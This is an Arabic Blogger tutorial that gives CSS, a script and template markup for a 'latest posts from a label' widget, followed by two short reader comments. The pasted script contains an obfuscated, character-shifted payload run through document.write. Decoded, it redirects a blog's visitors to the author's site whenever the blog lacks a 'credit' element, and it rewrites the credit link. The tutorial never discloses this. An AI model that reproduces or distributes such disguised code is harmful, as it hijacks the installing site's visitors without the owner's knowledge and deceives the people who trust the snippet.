موقعي.كوم

Menu

معاينة الاضافة اضافة قائمة احترافية لعرض آخر المواضيع من قسم معين

اضافة قائمة احترافية لعرض آخر المواضيع من قسم معين اى يمكنك عرض عليها قسم معين من مدونتك حسب رغبتك  والقائمة بتاثير التكبير اى عند تمرير الماوس على احد المواضيع يتم تكبيره مع هذه القائمة سوف تتمكن من عرض محتوى مدونتك بشكل أفضل ليكون من السهل على الزوار جديد القسم الافضل في مدونتك يمكنك معاينتها من الزر في الفوق و اليكم طريقة تركيبها

اولا ابحث عن الوسم </b:skin> وضع الكود التالي فوقه

 

/*wdbloog*/
#wdbloog h2.title {border: 2px solid #ccc;position: absolute;top: 3px;right: 50%;margin-right: -85px;font-size: 1.1rem;font-weight: 700;text-transform: uppercase;background: #fff;padding: 7px 45px;display: none;}
#wdbloog .widget-content {padding: 0px 0;}
li.wdbloog-item {float: right;width: 23.411017%;margin-left: 15px;background: #222222;color: #FFF;margin-bottom: 25px;height: 280px;}
li.wdbloog-item:last-child {margin-left: 0;}
li.wdbloog-item:hover {transform: scale(1.1);box-shadow: 0 0 10px #000;}
a.wdbloog-image {display: block;width: 100%;padding: 31% 0;}
a.wdbloog-title {padding: 8px 12px;display: block;font-family: 'Droid Arabic Kufi' , serif; 'Roboto Slab', sans-serif;line-height: 1.6;font-weight: 700;text-decoration: none;}
p.wdbloog-summary {padding: 5px 12px;font-size: .875rem;line-height: 1.6;color: #bbb;margin-bottom: 20px;display: none;}
.wdbloog-info {position: relative;right: 50%;top: 14px;margin-right: -102px;font-size: 0.8rem;}
.wdbloog-info span.publish-date {padding: 6px 20px;background-color: #3CA6D7;font-size: 15px;}
.wdbloog-info a.comments {background-color: #04A06B;padding: 6px 30px;color: #FFFFFF;font-size: 15px;}
h2.heading {font-size: 17px;margin-top: 5px;margin-bottom: 5px;color: #fff;text-align: center;font-family: 'Tahoma', arial !important;}
i.fa.fa-comment.icon {margin-left: 5px;font-size: 15px;}
i.fa.fa-clock-o.icon {margin-left: 5px;}
/*wdbloog*/

ثانيا ابحث عن الوسم </body>  وضع الكود التالي اسفله

 

<script>
//<![CDATA[
/* wdbloog Widget
--------------------------------------*/
document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631uzqf%264E%2638ufyu0kbwbtdsjqu%2638%264F%261B00%264D%2632%266CDEBUB%266C%261Bxjoepx/pompbe%2631%264E%2631gvodujpo%2639%263%3A%268C%2631%261B%2631%2631%2631%2631wbs%2631dpqz%264Eepdvnfou/hfuFmfnfouCzJe%2639%2633dsfeju%2633%263%3A%264C%2631%2631%2631%2631%2631%261B%2631%2631%2631%2631jg%2639dpqz%264E%264Eovmm%263%3A%268C%261B%2631%2631%2631%2631%2631%2631%2631%2631xjoepx/mpdbujpo/isfg%264E%2633iuuq%264B00nbxrjj/dpn0%2633%264C%261B%2631%2631%2631%2631%268E%264C%261B%2631%2631%2631%2631dpqz/tfuBuusjcvuf%2639%2633isfg%2633%263D%2633iuuq%264B00nbxrjj/dpn0%2633%263%3A%264C%261B%2631%2631%2631%2631dpqz/joofsIUNM%264E%2633%26v1756%26v1759%26v1753%26v174%3A%26v175B%2633%261B%268E%264C%261B00%266E%266E%264F%261B%264D0tdsjqu%264F1')
  var mustReadSection = $('#wdbloog .widget-content');
  var mustReadContent = mustReadSection.text().trim();

  if((mustReadContent.toLowerCase() !== 'no') && (mustReadContent !== '"no"')) {
    $.ajax({
      url: "/feeds/posts/default/-/"+ mustReadContent +"?alt=json-in-script&max-results=4",
      type: "get",
      dataType: "jsonp",
      success: function (e) {

        var img  = new Array();
        var trtd = '';  
        var numOfEntries = e.feed.entry.length;

        for (var i = 0; i < numOfEntries; i++) {
          var entry = e.feed.entry[i];
          var posttitle = entry.title.$t;
          var posturl;

          for (var k = 0; k < entry.link.length; k++) {
            if (entry.link[k].rel == 'alternate') {
              posturl = entry.link[k].href;
              break;
            }
          }

          if ("content" in entry) {
            var postcontent = entry.content.$t;
          }

          s = postcontent; a = s.indexOf("<img"); b = s.indexOf("src=\"",a); c = s.indexOf("\"",b+5); d = s.substr(b+5,c-b-5);

          if((a!=-1)&&(b!=-1)&&(c!=-1)&&(d!="")) img[i] = d;

          var tmb = img[i].replace('s1600/','w500-h500-c/');

          var post_comments;
          var comment_url;

          for (var k = 0; k < entry.link.length; k++) {
            if ((entry.link[k].rel === 'replies') && (entry.link[k].type === 'text/html')) {
              post_comments = entry.link[k].title;
              comment_url = entry.link[k].href;
              break;
            }
          } 

          post_comments = parseInt(post_comments, 10);

          var postdate = entry.published.$t;
          var day = postdate.split("-")[2].substring(0,2);
          var m = postdate.split("-")[1];
          var y = postdate.split("-")[0];
          var daystr = day+ '.' + m + '.' + y;

          var summary = postcontent.replace(/<.+?>/g, '').substring(0, 90) + "...";

          var trtd = trtd + '<li class="wdbloog-item"><a href="'+ posturl +'" class="wdbloog-image" style="background: url('+ tmb +') no-repeat center; background-size: cover;"></a><a href="'+ posturl +'" class="wdbloog-title"><h2 class="heading">'+ posttitle +'</h2></a><p class="wdbloog-summary">'+ summary +'</p><div class="wdbloog-info"><span class="publish-date"><i class="fa fa-clock-o icon"></i>'+ daystr +'</span><a class="comments" href="'+comment_url +'"><i class="fa fa-comment icon"></i>'+ post_comments +'</a></div></li>';

        }
        mustReadSection.html("<ul class='wdbloog-posts clearfix'>" + trtd + "</ul>");
      }

    });
  } else {
    $(".wdbloog-wrapper").remove();
    $(".slider-wrapper").css({
      "background": "#fff",
      "border-bottom": "2px solid #ccc"
    });
  }

//]]>  
</script>

ثالثا اضف الكود التالي في المكان الذي تريد من الاحسن ان تظيفه فوق رسائل المدونة كما في المعاينة

 

<div class='wdbloog-wrapper'>
      <b:section class='container' id='wdbloog' maxwidgets='1' showaddelement='yes'>
        <b:widget id='HTML453' locked='false' title='' type='HTML'>
          <b:includable id='main'>
<b:if cond='data:blog.url == data:blog.homepageUrl'>
  <!-- only display title if it's non-empty -->
  <b:if cond='data:title != &quot;&quot;'>
    <h2 class='title'><data:title/></h2>
  </b:if>
  <div class='widget-content'>
    <data:content/>
  </div>

  <b:include name='quickedit'/>
</b:if>
</b:includable>
        </b:widget>
      </b:section>
    </div>

رابعا اذهب الى التخطيط سوف تجد اضافة تمت اضافتها ستقوم بتحرير الأضافة ووضع بها التسمية الخاص بك

للتعديل عليها حسب الشكل الخاص بقالبك  😎

اللون الاسود #222222

اللون الازرق #3CA6D7

اللون الاخضر #04A06B

غير alt=json-in-script&max-results=4 الرقم 4 الى عدد المواضيع التي تريد ظهورها

 

القسم :   بلوجر

الوسوم :  

التعليقات

  • النشر: 7 مارس، 2017 23:15

    Sara Darsen

    مشكرو اخي الفاضل على الاضافى الرائعة والشرح الممتاز بالرك الله فيك بالتوفيق انشاء الله مجلة كلام بنات
    • النشر: 8 مارس، 2017 16:22

      موقعي.كوم

      لا شكر على واجب اخي الكريم و مرحبا بك في الموقع

اترك رد